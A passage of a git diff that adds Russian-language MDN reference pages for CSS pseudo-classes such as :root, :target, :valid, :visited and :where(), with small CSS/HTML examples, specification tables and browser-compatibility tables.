+<div class="note"><strong>Note:</strong> Вы можете не менять все CSS свойства, а поменять только margin, padding, border, и background для страницы. Все остальные CSS свойства будут проигнорированы и изменения будут применены только для страницы, но не для её содержимого.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">@page :right {
+  margin: 2in 3in;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Paged Media', '#left-right-first', ':right') }}</td>
+   <td>{{ Spec2('CSS3 Paged Media') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'page.html#page-selectors', ':right') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>8.0</td>
+   <td>9.2</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ Cssxref("@page") }}, {{ Cssxref(":first") }}, {{ Cssxref(":left") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_root/index.html b/files/ru/web/css/_colon_root/index.html
new file mode 100644
index 0000000000..54fc106e05
--- /dev/null
+++ b/files/ru/web/css/_colon_root/index.html
@@ -0,0 +1,101 @@
+---
+title: ':root'
+slug: 'Web/CSS/:root'
+tags:
+  - CSS
+  - CSS Pseudo-class
+  - Layout
+  - Reference
+  - Web
+  - Псевдоклассы
+translation_of: 'Web/CSS/:root'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдокласс</a> <code>:root</code> находит корневой элемент дерева документа. Применимо к HTML, <code>:root</code> находит элемент {{HTMLElement("html")}} и идентичен селектору по тегу <code>html</code>, но его <a href="/ru/docs/Web/CSS/Specificity">специфичность</a> выше.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Использование <code>:root</code> полезно для объявления <a href="/ru/docs/Web/CSS/--*">CSS Переменных</a>:</p>
+
+<pre class="brush: css">:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>9</td>
+   <td>9.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html
new file mode 100644
index 0000000000..034a1f4b12
--- /dev/null
+++ b/files/ru/web/css/_colon_target/index.html
@@ -0,0 +1,211 @@
+---
+title: ':target'
+slug: 'Web/CSS/:target'
+tags:
+  - Верстка
+  - Псевдоклассы
+translation_of: 'Web/CSS/:target'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдокласс </a> <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>:target</code></strong> представляет уникальный элемент (целевой элемент) с подходящим {{htmlattrxref("id")}}  URL-фрагментом.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает элемент с подходящим ID текущего URL-фрагмента */
+:target {
+  border: 2px solid black;
+}</pre>
+
+<p>Для примера, следующий URL имеет фрагмент (обозначается знаком <em>#</em>), который указывает на элемент с именем <code>section2</code>:</p>
+
+<pre>http://www.example.com/index.html#section2</pre>
+
+<p>Следующий элмент будет выбран селектором <code>:target</code>, если текущий URL равен вышеуказанному:</p>
+
+<pre class="brush: html">&lt;section id="section2"&gt;Example&lt;/section&gt;</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Таблица_контента">Таблица контента</h3>
+
+<p>Псевдокласс <code>:target</code> может использоваться для выделения части страницы, на которую была сделана ссылка из оглавления .</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h3&gt;Table of Contents&lt;/h3&gt;
+&lt;ol&gt;
+ &lt;li&gt;&lt;a href="#p1"&gt;Jump to the first paragraph!&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#p2"&gt;Jump to the second paragraph!&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#nowhere"&gt;This link goes nowhere,
+   because the target doesn't exist.&lt;/a&gt;&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h3&gt;My Fun Article&lt;/h3&gt;
+&lt;p id="p1"&gt;You can target &lt;i&gt;this paragraph&lt;/i&gt; using a
+  URL fragment. Click on the link above to try out!&lt;/p&gt;
+&lt;p id="p2"&gt;This is &lt;i&gt;another paragraph&lt;/i&gt;, also accessible
+  from the links above. Isn't that delightful?&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:target {
+  background-color: gold;
+}
+
+/* Добавление псевдоэлемента внутрь target-элемента */
+p:target::before {
+  font: 70% sans-serif;
+  content: "►";
+  color: limegreen;
+  margin-right: .25em;
+}
+
+/* Стиль italic-элементов без target-элемента */
+p:target i {
+  color: red;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<div>{{EmbedLiveSample('A_table_of_contents', 500, 300)}}</div>
+
+<h3 id="Pure-CSS_lightbox">Pure-CSS lightbox</h3>
+
+<p>Вы можете использовать псевдо-класс <code>:target</code> для создания lightbox без использования JavaScript. Этот метод основан на способности якорных ссылок указывать на элементы, которые изначально скрыты на странице. После этого, CSS изменяет их  <code>display</code> на видимый.</p>
+
+<div class="note"><strong>Примечание:</strong> Более полный pure-CSS lightbox , основанный на псевдоклассе<code>:target</code> -  <a href="https://github.com/madmurphy/takefive.css/">available on GitHub</a> (<a href="https://madmurphy.github.io/takefive.css/">demo</a>).</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="#example1"&gt;Open example #1&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="#example2"&gt;Open example #2&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;div class="lightbox" id="example1"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="close"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+      Donec felis enim, placerat id eleifend eu, semper vel sem.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;
+
+&lt;div class="lightbox" id="example2"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="close"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Cras risus odio, pharetra nec ultricies et,
+      mollis ac augue. Nunc et diam quis sapien dignissim auctor.
+      Quisque quis neque arcu, nec gravida magna.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Закрываем lightbox */
+.lightbox {
+  display: none;
+}
+
+/* Открываем lightbox */
+.lightbox:target {
+  position: absolute;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+/* Содержимое lightbox  */
+.lightbox figcaption {
+  width: 25rem;
+  position: relative;
+  padding: 1.5em;
+  background-color: lightpink;
+}
+
+/* Кнопка закрытия */
+.lightbox .close {
+  position: relative;
+  display: block;
+}
+
+.lightbox .close::after {
+  right: -1rem;
+  top: -1rem;
+  width: 2rem;
+  height: 2rem;
+  position: absolute;
+  display: flex;
+  z-index: 1;
+  align-items: center;
+  justify-content: center;
+  background-color: black;
+  border-radius: 50%;
+  color: white;
+  content: "×";
+  cursor: pointer;
+}
+
+/* Обертка lightbox  */
+.lightbox .close::before {
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  position: fixed;
+  background-color: rgba(0,0,0,.7);
+  content: "";
+  cursor: default;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<div>{{EmbedLiveSample('Pure-CSS_lightbox', 500, 220)}}</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#selector-target", ":target")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Определена HTML-специфика семантики.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<div>{{Compat("css.selectors.target")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Selectors/Using_the_%3Atarget_pseudo-class_in_selectors">Using the :target pseudo-class in selectors</a></li>
+</ul>
diff --git a/files/ru/web/css/_colon_valid/index.html b/files/ru/web/css/_colon_valid/index.html
new file mode 100644
index 0000000000..3ea99d76e1
--- /dev/null
+++ b/files/ru/web/css/_colon_valid/index.html
@@ -0,0 +1,142 @@
+---
+title: ':valid'
+slug: 'Web/CSS/:valid'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:valid'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:valid</code> находит любые {{ HTMLElement("input") }} или {{ HTMLElement("form") }} элементы, контент которых <a href="/ru/docs/Web/Guide/HTML/HTML5/Constraint_validation" title="en/HTML/HTML5/Constraint_validation">валиден</a>, в соответствии с типом поля. Он позволяет вам легко менять внешний вид полей, что помогает понять пользователю, что он ввёл данные правильно.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример представляет собой простую форму, цвета элементов которой зелёные, когда данные корректные, и красные, когда нет.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label&gt;Введите URL:&lt;/label&gt;
+  &lt;input type="url" /&gt;
+  &lt;br /&gt;
+  &lt;br /&gt;
+  &lt;label&gt;Введите адрес эл. почты:&lt;/label&gt;
+  &lt;input type="email" required/&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}</pre>
+
+<p>{{ EmbedLiveSample('Пример',600,150) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-valid', ':valid') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-valid', ':valid') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML и ограничения проверки.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#validity-pseudos', ':valid') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-validity', ':valid') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>10.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10 (only input tags)</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ cssxref(":invalid") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html
new file mode 100644
index 0000000000..7ad6df8e89
--- /dev/null
+++ b/files/ru/web/css/_colon_visited/index.html
@@ -0,0 +1,129 @@
+---
+title: ':visited'
+slug: 'Web/CSS/:visited'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:visited'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:visited</code> позволяет вам выбирать ссылки, которые были посещены. Этот стиль может переопределяться другими относящимися к ссылкам псевдо-классами, такими как {{ cssxref(":link") }}, {{ cssxref(":hover") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило <code>:visited</code> до правила <code>:link</code>, но после других, определённых <em>LVHA-порядком</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note style-wrap">
+<p><strong>Замечание: </strong>Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдо-класс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code> и <code>stroke</code>. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосещённых ссылок вместо него (но если прозрачность - <code>0</code>, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосещённых ссылок).</p>
+
+<p>Несмотря на то, что цвет может меняться, метод <code>getComputedStyle</code> наврёт и всегда будет давать значение цвета непосещённых ссылок.</p>
+
+<p>Для дополнительной информации об ограничениях и их причин, смотрите <a href="/ru/docs/CSS/Privacy_and_the_:visited_selector" title="/ru/docs/CSS/Privacy_and_the_:visited_selector">Приватность и селектор :visited</a>.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">a:visited { color: #4b2f89; }
+a:visited { background-color: white } </pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#link', ':visited') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#link', ':visited') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Ограничение использовать его только для элементов {{ HTMLElement("a") }}. Позволяет браузерам ограничивать его поведение из-за причин приватности.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1.0") }}</td>
+   <td>3.5</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>CSS свойства, разрешённые использовать в <code>:visited</code></td>
+   <td>6</td>
+   <td>{{CompatGeckoDesktop("2.0") }}</td>
+   <td>8 (или раньше)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/CSS/Privacy_and_the_:visited_selector" title="/ru/docs/CSS/Privacy_and_the_:visited_selector">Приватность и селектор :visited</a></li>
+ <li>Относящиеся к ссылкам псевдо-классы: {{cssxref(":link")}}, {{cssxref(":active")}} и {{cssxref(":hover")}}.</li>
+</ul>
diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html
new file mode 100644
index 0000000000..6af554ac77
--- /dev/null
+++ b/files/ru/web/css/_colon_where/index.html
@@ -0,0 +1,157 @@
+---
+title: ':where()'
+slug: 'Web/CSS/:where'
+tags:
+  - ':where'
+  - CSS
+  - псевдокласс
+translation_of: 'Web/CSS/:where'
+---
+<div>{{CSSRef}}</div>
+
+<div><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдокласс </a><strong><code>:where()</code> </strong>в качестве аргумента принимает список селекторов и выбирает только те элементы, которые могут быть выбраны из переданного списка.</div>
+
+<div></div>
+
+<pre class="brush: css notranslate"><code>/* Выбирает любой параграф внутри header, main
+   или footer на который наведен курсор мыши */
+:where(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* Пример приведенный выше эквивалентен следующему */
+header p:hover,
+main p:hover,
+footer p:hover {
+  color: red;
+  cursor: pointer;
+}</code></pre>
+
+<p>Разница между <code>:where()</code> и {{CSSxRef(":is", ":is()")}} заключается в том, что <code>:where()</code> всегда имеет нулевую <a href="ru/docs/Web/CSS/Specificity">специфичность селектора</a>, тогда как специфичность <code>:is()</code> равна самому специфичному селектору из списка переданных аргументов.</p>
+
+<h3 id="Парсинг_forgiving-селектора">Парсинг forgiving-селектора</h3>
+
+<p>В спецификации псевдоклассы <code>:is()</code> и <code>:where()</code> относятся к так называемому <a href="https://drafts.csswg.org/selectors-4/#typedef-forgiving-selector-list">forgiving selector list</a> (прощающий список селекторов).</p>
+
+<p>При использовании списка селекторов в CSS, если один из селекторов невалидный, то весь список селекторов будет считаться невалидным. В то же время при использовании <code>:is()</code> или <code>:where()</code> действует другое правило: если среди переданных аргументов будет неккоректный или неподдерживаемый селектор, то он будет проигнорирован, для всех же остальных селекторов будут применены CSS-правила.</p>
+
+<pre class="brush: css notranslate">:where(:valid, :unsupported) {
+  ...
+}</pre>
+
+<p>Пример выше будет успешно распарсен и для <code>:valid</code> будут применены CSS-правила, даже если в браузере не поддерживается <code>:unsupported</code>, в то время как:</p>
+
+<pre class="brush: css notranslate">:valid, :unsupported {
+  ...
+}</pre>
+
+<p>Код будет полностью проигнорирован в браузерах, которые не поддерживают <code>:unsupported</code>, даже не смотря на то, что они поддерживают <code>:valid</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Сравнение_where_и_is">Сравнение :where() и :is()</h3>
+
+<p>В этом примере показывается как работает <code>:where()</code>, а так же демонстрируется разница между <code>:where()</code> и <code>:is()</code>.</p>
+
+<p>Возьмем следующий HTML-код:</p>
+
+<pre class="brush: html notranslate">&lt;article&gt;
+  &lt;h2&gt;:is()-styled links&lt;/h2&gt;
+  &lt;section class="is-styling"&gt;
+    &lt;p&gt;Here is my main content. This &lt;a href="https://mozilla.org"&gt;contains a link&lt;/a&gt;.
+  &lt;/section&gt;
+
+  &lt;aside class="is-styling"&gt;
+    &lt;p&gt;Here is my aside content. This &lt;a href="https://developer.mozilla.org"&gt;also contains a link&lt;/a&gt;.
+  &lt;/aside&gt;
+
+  &lt;footer class="is-styling"&gt;
+    &lt;p&gt;This is my footer, also containing &lt;a href="https://github.com/mdn"&gt;a link&lt;/a&gt;.
+  &lt;/footer&gt;
+&lt;/article&gt;
+
+&lt;article&gt;
+  &lt;h2&gt;:where()-styled links&lt;/h2&gt;
+  &lt;section class="where-styling"&gt;
+    &lt;p&gt;Here is my main content. This &lt;a href="https://mozilla.org"&gt;contains a link&lt;/a&gt;.
+  &lt;/section&gt;
+
+  &lt;aside class="where-styling"&gt;
+    &lt;p&gt;Here is my aside content. This &lt;a href="https://developer.mozilla.org"&gt;also contains a link&lt;/a&gt;.
+  &lt;/aside&gt;
+
+  &lt;footer class="where-styling"&gt;
+    &lt;p&gt;This is my footer, also containing &lt;a href="https://github.com/mdn"&gt;a link&lt;/a&gt;.
+  &lt;/footer&gt;
+&lt;/article&gt;</pre>
+
+<p>В примере выше у нас представлено две статьи, каждая из которых содержит следующиее блоки: <code>section</code>, <code>aside</code> и <code>footer</code>. Каждый из блоков имеет свой CSS-класс.</p>
+
+<p>Теперь при помощи псевдоклассов <code>:is()</code> и <code>:where()</code> зададим цвет для ссылок в простой форме, как в примере ниже:</p>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+  font-size: 150%;
+}
+
+:is(section.is-styling, aside.is-styling, footer.is-styling) a {
+  color: red;
+}
+
+:where(section.where-styling, aside.where-styling, footer.where-styling) a {
+  color: orange;
+}</pre>
+
+<p>Что если позже мы захотим переопределить цвет ссылок в <code>footer</code>'ах используя простой селектор?</p>
+
+<pre class="brush: css notranslate">footer a {
+  color: blue;
+}</pre>
+
+<p>Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри <code>:is()</code> выше, чем специфичность селектора вышеприведенного кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.</p>
+
+<p>В то время как, селекторы перечисленные внутри <code>:where()</code> имеют нулевую специфичность, поэтому оранжевая ссылка в футере будет переопределена простым селектором и станет синего цвета.</p>
+
+<p><strong>Примечание</strong>: Вы так же можете найти этот пример на Github; смотрите <a href="https://mdn.github.io/css-examples/is-where/">is-where</a>.</p>
+
+<p>{{EmbedLiveSample('Examples', '100%', 600)}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#zero-matches", ":where()")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из готовых данных. Если бы вы хотели добавить свою информацию, пожалуйста проверьте на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.selectors.where")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{CSSxRef(":is", ":is()")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/Selector_list">Список селекторов</a></li>
+ <li><a href="/ru/docs/Web/Web_Components">Веб-компоненты</a></li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
new file mode 100644
index 0000000000..6041a30f4b
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
@@ -0,0 +1,50 @@
+---
+title: '::-moz-progress-bar'
+slug: 'Web/CSS/::-moz-progress-bar'
+translation_of: 'Web/CSS/::-moz-progress-bar'
+---
+<div> </div>
+
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
